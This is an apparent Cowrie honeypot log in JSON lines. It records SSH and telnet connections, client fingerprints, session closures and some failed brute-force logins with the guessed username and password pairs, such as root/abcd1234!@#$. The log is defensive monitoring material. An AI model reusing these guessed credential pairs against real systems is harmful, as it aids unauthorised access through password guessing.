{"eventid":"cowrie.login.failed","username":"allison","password":"allison","message":"login attempt [allison/allison] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:17.295844Z","src_ip":"159.203.92.129","session":"d0e5be95ee29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.343403816223145,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:17.367694Z","src_ip":"159.203.13.64","session":"2daca590d7b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.1723895072937,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:17.375357Z","src_ip":"159.203.13.64","session":"0a1ff84cd6a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44696,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea0b019d4c9b","protocol":"telnet","message":"New connection: 159.203.13.64:44696 (10.17.0.5:23) [session: ea0b019d4c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:17.564756Z"}
{"eventid":"cowrie.session.closed","duration":31.013490438461304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:18.073868Z","src_ip":"159.203.13.64","session":"d387bf432eeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.50208926200867,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:18.193974Z","src_ip":"159.203.13.64","session":"6118d94a65ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:18.303151Z","src_ip":"159.203.92.129","session":"d0e5be95ee29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.61395740509033,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:18.574205Z","src_ip":"159.203.13.64","session":"8782eb151245","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.353092432022095,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:19.800420Z","src_ip":"159.203.13.64","session":"a28213bf81a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.28276181221008,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:20.519381Z","src_ip":"159.203.13.64","session":"2ac3403ea046","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59006,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce3aa8cc6807","protocol":"telnet","message":"New connection: 159.203.13.64:59006 (10.17.0.5:23) [session: ce3aa8cc6807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:22.660132Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59012,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ad41be0a3f6","protocol":"telnet","message":"New connection: 159.203.13.64:59012 (10.17.0.5:23) [session: 2ad41be0a3f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:25.613024Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59022,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d4747a980db","protocol":"telnet","message":"New connection: 159.203.13.64:59022 (10.17.0.5:23) [session: 1d4747a980db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:26.860539Z"}
{"eventid":"cowrie.session.closed","duration":38.1101131439209,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:27.113941Z","src_ip":"159.203.13.64","session":"be0657274a8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.115917921066284,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:30.406593Z","src_ip":"80.252.221.197","session":"37a6adeb5f49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.65780806541443,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:31.348670Z","src_ip":"80.252.221.197","session":"6766d16715c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":45954,"dst_ip":"10.17.0.5","dst_port":23,"session":"11b91d43b668","protocol":"telnet","message":"New connection: 159.203.13.64:45954 (10.17.0.5:23) [session: 11b91d43b668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:31.642320Z"}
{"eventid":"cowrie.session.closed","duration":42.95770263671875,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:32.228050Z","src_ip":"159.203.13.64","session":"2132e0f7521f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.83040499687195,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:33.005231Z","src_ip":"80.252.221.197","session":"b7e073eeed39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":45956,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fd4ca3ff9dc","protocol":"telnet","message":"New connection: 159.203.13.64:45956 (10.17.0.5:23) [session: 4fd4ca3ff9dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:33.547684Z"}
{"eventid":"cowrie.session.closed","duration":37.72704768180847,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:34.548711Z","src_ip":"80.252.221.197","session":"d3f6c4d7c75e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.158103227615356,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:36.883136Z","src_ip":"159.203.13.64","session":"30dfa7c7a796","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":45712,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a5e448b8d56","protocol":"telnet","message":"New connection: 159.203.13.64:45712 (10.17.0.5:23) [session: 1a5e448b8d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:45.271473Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":45714,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceccb1912a59","protocol":"telnet","message":"New connection: 159.203.13.64:45714 (10.17.0.5:23) [session: ceccb1912a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:45.333557Z"}
{"eventid":"cowrie.session.closed","duration":37.592759132385254,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:48.093222Z","src_ip":"159.203.13.64","session":"ad4af21288a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":37594,"dst_ip":"159.203.135.109","dst_port":23,"session":"64c3ca077a91","protocol":"telnet","message":"New connection: 80.252.221.197:37594 (159.203.135.109:23) [session: 64c3ca077a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:48.789897Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":37604,"dst_ip":"159.203.135.109","dst_port":23,"session":"38852e09b52a","protocol":"telnet","message":"New connection: 80.252.221.197:37604 (159.203.135.109:23) [session: 38852e09b52a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:48.812521Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":37610,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1b7f1565f32","protocol":"telnet","message":"New connection: 80.252.221.197:37610 (159.203.135.109:23) [session: c1b7f1565f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:49.650701Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":45730,"dst_ip":"10.17.0.5","dst_port":23,"session":"075e2456d572","protocol":"telnet","message":"New connection: 159.203.13.64:45730 (10.17.0.5:23) [session: 075e2456d572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:49.995244Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":37616,"dst_ip":"159.203.135.109","dst_port":23,"session":"40f938d280bf","protocol":"telnet","message":"New connection: 80.252.221.197:37616 (159.203.135.109:23) [session: 40f938d280bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:50.485010Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":37618,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bea0fad72ba","protocol":"telnet","message":"New connection: 80.252.221.197:37618 (159.203.135.109:23) [session: 9bea0fad72ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:51.125140Z"}
{"eventid":"cowrie.session.closed","duration":49.055259227752686,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:52.124512Z","src_ip":"159.203.13.64","session":"fefffbd26c9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46396,"dst_ip":"10.17.0.5","dst_port":23,"session":"622d62031cd3","protocol":"telnet","message":"New connection: 159.203.13.64:46396 (10.17.0.5:23) [session: 622d62031cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:52.155731Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":38070,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb2157e3f6a4","protocol":"ssh","message":"New connection: 186.13.24.118:38070 (159.203.135.109:22) [session: cb2157e3f6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:54.054876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:54.059454Z","src_ip":"186.13.24.118","session":"cb2157e3f6a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46410,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7caca01432a","protocol":"telnet","message":"New connection: 159.203.13.64:46410 (10.17.0.5:23) [session: c7caca01432a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:54.205484Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:54.219508Z","src_ip":"186.13.24.118","session":"cb2157e3f6a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"666666","message":"login attempt [ubuntu/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:54.885743Z","src_ip":"186.13.24.118","session":"cb2157e3f6a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:56.048044Z","src_ip":"186.13.24.118","session":"cb2157e3f6a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.93016767501831,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:56.159640Z","src_ip":"159.203.13.64","session":"6f3b514d1112","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46422,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ecef595aa60","protocol":"telnet","message":"New connection: 159.203.13.64:46422 (10.17.0.5:23) [session: 0ecef595aa60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:56.515516Z"}
{"eventid":"cowrie.session.closed","duration":37.02293372154236,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:55:59.682931Z","src_ip":"159.203.13.64","session":"ce3aa8cc6807","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38942,"dst_ip":"159.203.135.109","dst_port":22,"session":"bef52c3bda8e","protocol":"ssh","message":"New connection: 159.203.92.129:38942 (159.203.135.109:22) [session: bef52c3bda8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:02.600360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:02.605556Z","src_ip":"159.203.92.129","session":"bef52c3bda8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:02.611735Z","src_ip":"159.203.92.129","session":"bef52c3bda8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allu","password":"123456","message":"login attempt [allu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:02.625904Z","src_ip":"159.203.92.129","session":"bef52c3bda8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:03.636189Z","src_ip":"159.203.92.129","session":"bef52c3bda8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.49081468582153,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:05.055476Z","src_ip":"159.203.13.64","session":"ea0b019d4c9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.08809995651245,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:06.948512Z","src_ip":"159.203.13.64","session":"1d4747a980db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.270400524139404,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:09.883304Z","src_ip":"159.203.13.64","session":"2ad41be0a3f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39732,"dst_ip":"10.17.0.5","dst_port":23,"session":"0df27d56290c","protocol":"telnet","message":"New connection: 159.203.13.64:39732 (10.17.0.5:23) [session: 0df27d56290c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:10.201556Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":49246,"dst_ip":"10.17.0.5","dst_port":22,"session":"e58a878afe2f","protocol":"ssh","message":"New connection: 45.78.194.242:49246 (10.17.0.5:22) [session: e58a878afe2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:11.413574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:11.420406Z","src_ip":"45.78.194.242","session":"e58a878afe2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:11.659324Z","src_ip":"45.78.194.242","session":"e58a878afe2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.9732711315155,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:12.520846Z","src_ip":"159.203.13.64","session":"4fd4ca3ff9dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43750,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed5a9a99bd88","protocol":"telnet","message":"New connection: 159.203.13.64:43750 (10.17.0.5:23) [session: ed5a9a99bd88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:14.883329Z"}
{"eventid":"cowrie.session.closed","duration":43.82279062271118,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:15.465008Z","src_ip":"159.203.13.64","session":"11b91d43b668","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234!@#$","message":"login attempt [root/abcd1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:15.606329Z","src_ip":"45.78.194.242","session":"e58a878afe2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43764,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a98c7dac6c8","protocol":"telnet","message":"New connection: 159.203.13.64:43764 (10.17.0.5:23) [session: 7a98c7dac6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:16.663822Z"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:16.848288Z","src_ip":"45.78.194.242","session":"e58a878afe2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43768,"dst_ip":"10.17.0.5","dst_port":23,"session":"400d6b4d3d1e","protocol":"telnet","message":"New connection: 159.203.13.64:43768 (10.17.0.5:23) [session: 400d6b4d3d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:18.624965Z"}
{"eventid":"cowrie.session.closed","duration":33.35270023345947,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:22.142470Z","src_ip":"80.252.221.197","session":"64c3ca077a91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.545313358306885,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:22.878735Z","src_ip":"159.203.13.64","session":"ceccb1912a59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.91451168060303,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:25.070114Z","src_ip":"159.203.13.64","session":"622d62031cd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.48702001571655,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:25.299432Z","src_ip":"80.252.221.197","session":"38852e09b52a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.7270770072937,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:25.377652Z","src_ip":"80.252.221.197","session":"c1b7f1565f32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.250824213027954,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:25.522172Z","src_ip":"159.203.13.64","session":"1a5e448b8d56","protocol":"telnet"}
